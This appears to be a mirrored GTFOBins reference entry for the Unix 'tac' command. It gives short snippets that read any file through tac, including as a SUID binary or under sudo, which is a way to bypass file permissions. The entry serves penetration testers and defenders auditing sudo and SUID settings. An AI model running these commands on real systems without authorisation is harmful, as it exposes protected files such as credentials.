mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
17 lines
452 B
Markdown
17 lines
452 B
Markdown
---
|
|
description: Make sure that `RANDOM` does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of `RANDOM`-separated chunks.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
tac -s 'RANDOM' "$LFILE"
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./tac -s 'RANDOM' "$LFILE"
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo tac -s 'RANDOM' "$LFILE"
|
|
---
|